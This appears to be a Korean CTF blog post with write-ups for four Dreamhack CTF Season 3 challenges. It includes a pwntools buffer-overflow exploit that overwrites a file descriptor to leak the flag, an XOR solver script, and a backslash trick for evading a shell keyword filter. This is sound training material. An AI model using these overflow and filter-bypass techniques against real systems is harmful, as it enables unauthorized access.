2023. 4. 22. 16:55ㆍctf
awesome-basics (pwn)
코드를 보면 read함수에서 bof가 터진다.
bof가 터지니까 rop을 먼저 생각했었는데 가젯이 없었다.
그래서 코드를 다시 보니 ./tmp/flag를 열고 v5에 파일 디스크립터를 받아온뒤
그 값을 flag와 buf에 write해주는것이였다.
이것을 이용할 방법을 찾다가
buf는 rbp-0x60 위치에 있고
v5는 rbp-0x10에 있는 것을 확인하였고
buf에서 bof가 터지니까 bof로 v5를 1(stdin)으로 조작해주면
write(1, flag, 0x45);가 되어 플래그가 화면상으로 출력되게 된다.
exploit
from pwn import *
r = remote("host3.dreamhack.games", 13508)
#r = process("./chall")
payload = b"A" * 0x50
payload += p64(1)
input()
r.sendafter(b":", payload)
r.interactive()
simple-operation (rev)
빨간색으로 표시한 부분을 보면 사용자 입력값과 랜덤값을 xor 연산을 해서
a0b4c1d7 이 나오면 플래그를 얻을 수 있는 간단한 문제이다.
from pwn import *
r = remote("host2.dreamhack.games", 11342)
r.recvuntil(b"number: ")
rand = r.recvn(10)
print("rand : ", rand)
x = int(rand, 16) ^ 0x7d1c4b0a
x = str(x).encode()
r.sendlineafter(b"Input? ", x)
r.interactive()
baby-linux (misc)
리눅스 환경에서 쉘 명령어를 실행하는 코드가 있다.
그냥 하지만 flag라는 단어를 필터링하고 있어서 cat flag 이런식으로는 불가능하다.
일단 flag파일의 디렉토리 주소를 찾아야 하는데
ls를 쳐보니 hint.txt가 있었다.
hint를 보니 flag 파일은 ./dream/hack/hello 파일 안에 있다고 한다.
리눅스에서는 단어 중간에 역슬래시가 들어가도 무시하고 지나간다.
즉, cat flag.txt와 cat fl\ag.txt를 하면 같은 출력결과가 나온다.
ex-reg-ex (web)
m이 0이 아닌수가 나오게 하면 플래그를 획득할 수 있는 간단한 문제이다.
저런 정규식은 chatgpt한테 어떤 패턴으로 넣어야 하는지 물어봐서 간단하게 해결했다.
작년 dreamhack ctf는 모든 티어가 다 똑같은 문제를 같이 풀어서
난이도가 좀 높아 문제를 풀지도 못했는데
이번 Dreamhack CTF Season 3에서는 티어에 따라 나누어 진행하기 때문에
좀 쉽게 풀 수 있었던것 같다.
'ctf' 카테고리의 다른 글
[ codegate - pwn] librarian (2) | 2023.06.18 |
---|---|
[ CCE 사이버공격방어대회 ] n0t rand0m (3) | 2023.06.12 |
[ layer7 ctf ] Christmasgift (0) | 2022.12.20 |
[ 화이트햇 콘테스트 ] left_right (0) | 2022.10.17 |